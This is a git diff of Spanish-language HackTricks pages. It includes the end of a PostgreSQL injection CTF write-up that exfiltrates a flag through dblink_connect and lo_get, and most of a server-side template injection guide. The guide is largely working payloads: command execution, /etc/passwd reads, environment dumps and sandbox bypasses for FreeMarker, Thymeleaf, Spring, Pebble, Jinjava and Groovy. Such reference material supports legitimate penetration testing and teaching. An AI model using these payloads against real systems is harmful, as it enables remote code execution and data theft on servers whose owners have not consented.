0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
||||
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
||||
|
||||
.....
|
||||
.....
|
||||
.....
|
||||
```
|
||||
Obtuvimos un montón de `oid`s. Podemos intentar usar `lo_get` para cargar el contenido del objeto. Por ejemplo, `lo_get(16439)` cargará el contenido de `/etc/passwd`. Debido a que el resultado de `lo_gets` es `bytea`, necesitamos convertirlo a `UTF8` para que pueda ser añadido en la consulta.
|
||||
|
||||
Podemos intentar cargar algunos objetos con el `oid` más bajo para averiguar si el archivo de la bandera ha sido cargado anteriormente. El objeto del archivo de la bandera sí existe con `oid` 16444. No hay espacios en blanco en la bandera, así que podemos mostrarla tal cual.
|
||||
|
||||
Para cargar la bandera:
|
||||
```
|
||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
||||
```
|
||||
#### Más información sobre oid:
|
||||
|
||||
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,52 +1,52 @@
|
|||
# SSTI (Inyección de Plantillas en el Servidor)
|
||||
# Inyección de plantillas en el lado del servidor (SSTI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## ¿Qué es la inyección de plantillas en el servidor?
|
||||
## ¿Qué es la inyección de plantillas en el lado del servidor?
|
||||
|
||||
Una inyección de plantillas en el servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de la plantilla para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el servidor.
|
||||
Una inyección de plantillas en el lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis de plantillas nativas para inyectar un payload malicioso en una plantilla, que luego se ejecuta en el servidor.
|
||||
|
||||
Los **motores de plantillas** están diseñados para **generar páginas web** **combinando** plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el servidor pueden ocurrir cuando la **entrada de usuario** se concatena directamente **en una plantilla**, en lugar de pasarla como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, lo que a menudo les permite tomar el **control completo del servidor**.
|
||||
Los **motores de plantillas** están diseñados para **generar páginas web** combinando plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el lado del servidor pueden ocurrir cuando la **entrada del usuario** se concatena directamente **en una plantilla**, en lugar de pasarse como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, a menudo permitiéndoles tomar **control completo del servidor**.
|
||||
|
||||
Un ejemplo de código vulnerable es el siguiente:
|
||||
Un ejemplo de código vulnerable se muestra a continuación:
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
```
|
||||
En el ejemplo anterior, **parte de la plantilla** se está **generando dinámicamente** utilizando el parámetro `GET` `name`. Como la sintaxis de la plantilla se evalúa en el lado del servidor, esto potencialmente permite a un atacante colocar un payload de inyección de plantilla del lado del servidor dentro del parámetro `name` de la siguiente manera:
|
||||
En el ejemplo anterior **parte de la plantilla** en sí misma está siendo **generada dinámicamente** utilizando el parámetro `GET` `name`. Dado que la sintaxis de la plantilla se evalúa en el servidor, esto potencialmente permite a un atacante colocar un payload de inyección de plantilla en el servidor dentro del parámetro `name` de la siguiente manera:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
## Construcción de un ataque de inyección de plantillas en el servidor
|
||||
## Construyendo un ataque de inyección de plantillas en el servidor
|
||||
|
||||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||||
|
||||
### Detectar
|
||||
|
||||
Como con cualquier vulnerabilidad, el primer paso hacia su explotación es poder encontrarla. Quizás el enfoque inicial más simple es intentar **fuzzear la plantilla** inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantillas, como el polígloto **`${{<%[%'"}}%\`.**\
|
||||
Para comprobar si el servidor es vulnerable, debes **observar las diferencias** entre la respuesta con **datos regulares** en el parámetro y el **payload proporcionado**.\
|
||||
Si se **produce un error**, será bastante fácil darse cuenta de que **el servidor es vulnerable** e incluso qué **motor está ejecutando**. Pero también podrías encontrar un servidor vulnerable si **esperabas** que **reflejara** el payload proporcionado y **no se está reflejando**, o si hay algunos **caracteres faltantes** en la respuesta.
|
||||
Al igual que con cualquier vulnerabilidad, el primer paso hacia la explotación es poder encontrarla. Quizás el enfoque inicial más simple sea intentar **fuzzear la plantilla** inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantillas, como el políglota **`${{<%[%'"}}%\`.**\
|
||||
Para verificar si el servidor es vulnerable, debes **detectar las diferencias** entre la respuesta con **datos regulares** en el parámetro y la **carga útil proporcionada**.\
|
||||
Si se produce un **error**, será bastante fácil darse cuenta de que **el servidor es vulnerable** e incluso qué **motor está en ejecución**. Pero también podrías encontrar un servidor vulnerable si esperabas que **reflejara** la carga útil proporcionada y **no se está reflejando** o si faltan algunos **caracteres** en la respuesta.
|
||||
|
||||
**Detectar - Contexto de texto plano**
|
||||
|
||||
La entrada proporcionada está siendo **renderizada y reflejada** en la respuesta. Esto se confunde fácilmente con una vulnerabilidad de [**XSS**](../xss-cross-site-scripting/) simple, pero es fácil diferenciar si intentas establecer **operaciones matemáticas** dentro de una expresión de plantilla:
|
||||
La entrada proporcionada se está **renderizando y reflejando** en la respuesta. Esto puede ser fácilmente **confundido con una vulnerabilidad** de [**XSS**](../xss-cross-site-scripting/) simple, pero es fácil diferenciarlo si intentas establecer **operaciones matemáticas** dentro de una expresión de plantilla:
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
|
@ -55,23 +55,23 @@ ${{7*7}}
|
|||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
**Detectar - Contexto de código**
|
||||
**Detectar - Contexto del código**
|
||||
|
||||
En estos casos la **entrada del usuario** se coloca **dentro** de una **expresión de plantilla**:
|
||||
En estos casos, la **entrada del usuario** se coloca **dentro** de una **expresión de plantilla**:
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
El acceso a la URL que accede a esa página podría ser similar a: `http://vulnerable-website.com/?greeting=data.username`
|
||||
La URL de acceso a esa página podría ser similar a: `http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
Si **cambias** el parámetro **`greeting`** por un **valor diferente** la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de plantilla eran **`}}`**).\
|
||||
Si se produce un **error** durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.
|
||||
Si **cambias** el parámetro **`greeting`** por un **valor diferente**, la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de plantilla fueron **`}}`**).\
|
||||
Si se produce un **error** durante estas pruebas, será más fácil detectar que el servidor es vulnerable.
|
||||
|
||||
### Identificar
|
||||
|
||||
Una vez que hayas detectado el potencial de inyección de plantillas, el siguiente paso es identificar el motor de plantillas.\
|
||||
Aunque hay un gran número de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no entrar en conflicto con los caracteres HTML.
|
||||
Aunque hay una gran cantidad de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no chocar con los caracteres HTML.
|
||||
|
||||
Si tienes suerte, el servidor estará **imprimiendo los errores** y podrás encontrar el **motor** utilizado **dentro** de los errores. Algunas posibles cargas útiles que pueden causar errores:
|
||||
Si tienes suerte, el servidor estará **imprimiendo los errores** y podrás encontrar el **motor** utilizado **dentro** de los errores. Algunas cargas útiles posibles que pueden causar errores:
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
|
@ -79,7 +79,7 @@ Si tienes suerte, el servidor estará **imprimiendo los errores** y podrás enco
|
|||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
De lo contrario, tendrás que **probar manualmente diferentes cargas útiles específicas del lenguaje** y estudiar cómo son interpretadas por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando la sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan con éxito. Para ayudar con este proceso, puedes usar un árbol de decisión similar al siguiente:
|
||||
De lo contrario, deberás probar manualmente **diferentes cargas específicas del lenguaje** y estudiar cómo son interpretadas por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando la sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan correctamente. Para ayudar en este proceso, puedes usar un árbol de decisiones similar al siguiente:
|
||||
|
||||
![](<../../.gitbook/assets/image (272).png>)
|
||||
|
||||
|
@ -87,24 +87,24 @@ De lo contrario, tendrás que **probar manualmente diferentes cargas útiles esp
|
|||
|
||||
**Leer**
|
||||
|
||||
El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Las áreas clave de interés son:
|
||||
El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Áreas clave de interés son:
|
||||
|
||||
* Secciones 'Para Autores de Plantillas' que cubren la sintaxis básica.
|
||||
* 'Consideraciones de Seguridad' - es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
|
||||
* Secciones 'Para autores de plantillas' que cubren la sintaxis básica.
|
||||
* 'Consideraciones de seguridad' - es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
|
||||
* Listas de métodos, funciones, filtros y variables integrados.
|
||||
* Listas de extensiones/plugins - algunos pueden estar habilitados por defecto.
|
||||
* Listas de extensiones/complementos - algunos pueden estar habilitados de forma predeterminada.
|
||||
|
||||
**Explorar**
|
||||
|
||||
Suponiendo que no se hayan presentado exploits, el siguiente paso es **explorar el entorno** para averiguar exactamente a qué **tienes acceso**. Puedes esperar encontrar tanto **objetos predeterminados** proporcionados por el motor de plantillas, como **objetos específicos de la aplicación** pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo lo que está en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
|
||||
Suponiendo que no se han presentado exploits, el siguiente paso es **explorar el entorno** para averiguar exactamente a qué **tienes acceso**. Puedes esperar encontrar tanto **objetos predeterminados** proporcionados por el motor de plantillas, como **objetos específicos de la aplicación** pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
|
||||
|
||||
Si no hay un objeto self integrado, tendrás que forzar nombres de variables usando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) y la colección de listas de palabras de Burp Intruder.
|
||||
Si no hay un objeto self integrado, tendrás que probar nombres de variables por fuerza bruta utilizando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) y la colección de listas de palabras de Burp Intruder.
|
||||
|
||||
Los objetos suministrados por el desarrollador son particularmente propensos a contener información sensible y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso idealmente debería aplicarse a cada plantilla distinta individualmente.
|
||||
Los objetos proporcionados por el desarrollador son particularmente propensos a contener información sensible, y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso idealmente debería aplicarse a cada plantilla individualmente.
|
||||
|
||||
**Atacar**
|
||||
|
||||
En este punto deberías tener una **idea firme de la superficie de ataque disponible** para ti y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación más amplia - algunas funciones se pueden utilizar para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación de objetos arbitrarios, lectura/escritura de archivos arbitrarios, inclusión de archivos remotos, divulgación de información y vulnerabilidades de escalada de privilegios.
|
||||
En este punto, deberías tener una **idea clara de la superficie de ataque** disponible y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación en general - algunas funciones pueden usarse para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y vulnerabilidades de escalada de privilegios.
|
||||
|
||||
## Herramientas
|
||||
|
||||
|
@ -149,11 +149,11 @@ ${class.getClassLoader()}
|
|||
${class.getResource("").getPath()}
|
||||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
```
|
||||
**Java - Recuperar las variables de entorno del sistema**
|
||||
**Java - Obtener las variables de entorno del sistema**
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**Java - Recuperar /etc/passwd**
|
||||
**Java - Obtener /etc/passwd**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -166,7 +166,7 @@ Puedes probar tus payloads en [https://try.freemarker.apache.org](https://try.fr
|
|||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `${7*'7'} Nada`
|
||||
* `${7*'7'} Nothing`
|
||||
* `${foobar}`
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
|
@ -175,7 +175,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Evasión de Sandbox**
|
||||
**Freemarker - Bypass de sandbox**
|
||||
|
||||
⚠️ solo funciona en versiones de Freemarker inferiores a 2.3.30
|
||||
```java
|
||||
|
@ -187,7 +187,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
```
|
||||
**Más información**
|
||||
|
||||
* En la sección FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* En la sección de FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
|
@ -208,16 +208,16 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
### Thymeleaf (Java)
|
||||
|
||||
La expresión de prueba típica para SSTI es `${7*7}`. Esta expresión también funciona en Thymeleaf. Si deseas lograr ejecución remota de código, puedes usar una de las siguientes expresiones de prueba:
|
||||
La expresión de prueba típica para SSTI es `${7*7}`. Esta expresión también funciona en Thymeleaf. Si deseas lograr la ejecución de código remoto, puedes usar una de las siguientes expresiones de prueba:
|
||||
|
||||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
|
||||
Sin embargo, como mencionamos antes, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario usar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite _inclusión de expresiones_. Para usar esta característica, debes colocar una expresión dentro de `[[...]]` o `[(...)]` (elige uno u otro dependiendo de si necesitas escapar símbolos especiales). Por lo tanto, una carga útil de detección de SSTI simple para Thymeleaf sería `[[${7*7}]]`.
|
||||
Sin embargo, como mencionamos anteriormente, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario usar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite _inlineado de expresiones_. Para usar esta característica, debes colocar una expresión dentro de `[[...]]` o `[(...)]` (selecciona uno u otro dependiendo de si necesitas escapar símbolos especiales). Por lo tanto, un payload de detección de SSTI simple para Thymeleaf sería `[[${7*7}]]`.
|
||||
|
||||
Sin embargo, las posibilidades de que la carga útil de detección anterior funcione son muy bajas. Las vulnerabilidades de SSTI suelen ocurrir cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse con anterioridad. Por lo tanto, si un desarrollador quiere crear una plantilla a partir de una cadena _al vuelo_, necesitaría crear su propio TemplateResolver. Esto es posible pero ocurre muy raramente.
|
||||
Sin embargo, las posibilidades de que el payload de detección anterior funcione son muy bajas. Las vulnerabilidades de SSTI generalmente ocurren cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse previamente. Por lo tanto, si un desarrollador desea crear una plantilla a partir de una cadena _sobre la marcha_, necesitaría crear su propio TemplateResolver. Esto es posible pero ocurre muy raramente.
|
||||
|
||||
Si profundizamos en la documentación del motor de plantillas de Thymeleaf, encontraremos una característica interesante llamada _**preprocesamiento de expresiones**_. Las expresiones colocadas entre guiones bajos dobles (`__...__`) se preprocesan y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí hay un ejemplo oficial de la documentación de Thymeleaf:
|
||||
Si nos adentramos más en la documentación del motor de plantillas Thymeleaf, encontraremos una característica interesante llamada _**preprocesamiento de expresiones**_. Las expresiones colocadas entre doble guion bajo (`__...__`) son preprocesadas y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí tienes un ejemplo oficial de la documentación de Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -237,13 +237,13 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
[el-expression-language.md](el-expression-language.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Spring Framework (Java)
|
||||
### Marco Spring (Java)
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Evitar filtros**
|
||||
**Saltar filtros**
|
||||
|
||||
Se pueden utilizar múltiples expresiones de variables, si `${...}` no funciona intenta `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
|
||||
|
||||
* Leer `/etc/passwd`
|
||||
```java
|
||||
|
@ -282,7 +282,7 @@ print(base_payload + end_payload)
|
|||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Manipulación de Vista Spring (Java)
|
||||
### Manipulación de Vistas de Spring (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
|
@ -301,7 +301,7 @@ Versión antigua de Pebble ( < versión 3.0.9):
|
|||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
La nueva versión de Pebble:
|
||||
Nueva versión de Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
|
@ -324,15 +324,15 @@ La nueva versión de Pebble:
|
|||
.newInstance(([bytes]).toArray()) }}
|
||||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código remoto en el servidor afectado.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
**Jinjava - Ejecución de comandos**
|
||||
|
||||
Solucionado por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
Corregido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
|
@ -348,9 +348,9 @@ Solucionado por [https://github.com/HubSpot/jinjava/pull/230](https://github.com
|
|||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` delimitadores de instrucciones
|
||||
* `{{ }}` delimitadores de expresiones
|
||||
* `{# #}` delimitadores de comentarios
|
||||
* Delimitadores de declaración `{% %}`
|
||||
* Delimitadores de expresión `{{ }}`
|
||||
* Delimitadores de comentario `{# #}`
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
|
@ -358,7 +358,7 @@ Solucionado por [https://github.com/HubSpot/jinjava/pull/230](https://github.com
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el [proyecto Jinjava en Github](https://github.com/HubSpot/jinjava/).
|
||||
Buscar "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrir el [proyecto Jinjava en Github](https://github.com/HubSpot/jinjava/).
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -407,7 +407,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
|
||||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### Expression Language - EL (Java)
|
||||
### Lenguaje de Expresión - EL (Java)
|
||||
|
||||
* `${"aaaa"}` - "aaaa"
|
||||
* `${99999+1}` - 100000.
|
||||
|
@ -415,8 +415,8 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans gestionados). EL es utilizado por **varias tecnologías JavaEE**, como la tecnología JavaServer Faces, tecnología JavaServer Pages (JSP) y Contexts and Dependency Injection para Java EE (CDI).\
|
||||
Consulta la siguiente página para aprender más sobre la **explotación de intérpretes EL**:
|
||||
EL proporciona un mecanismo importante para permitir que la capa de presentación (páginas web) se comunique con la lógica de la aplicación (beans administrados). EL es utilizado por **varias tecnologías de JavaEE**, como la tecnología JavaServer Faces, la tecnología JavaServer Pages (JSP) y la Inyección de Dependencias y Contextos para Java EE (CDI).\
|
||||
Consulte la siguiente página para obtener más información sobre la **explotación de intérpretes EL**:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -424,7 +424,7 @@ Consulta la siguiente página para aprender más sobre la **explotación de int
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Este bypass del Security Manager fue tomado de este [**informe**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Los siguientes bypasses del Administrador de Seguridad fueron tomados de este [**informe**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
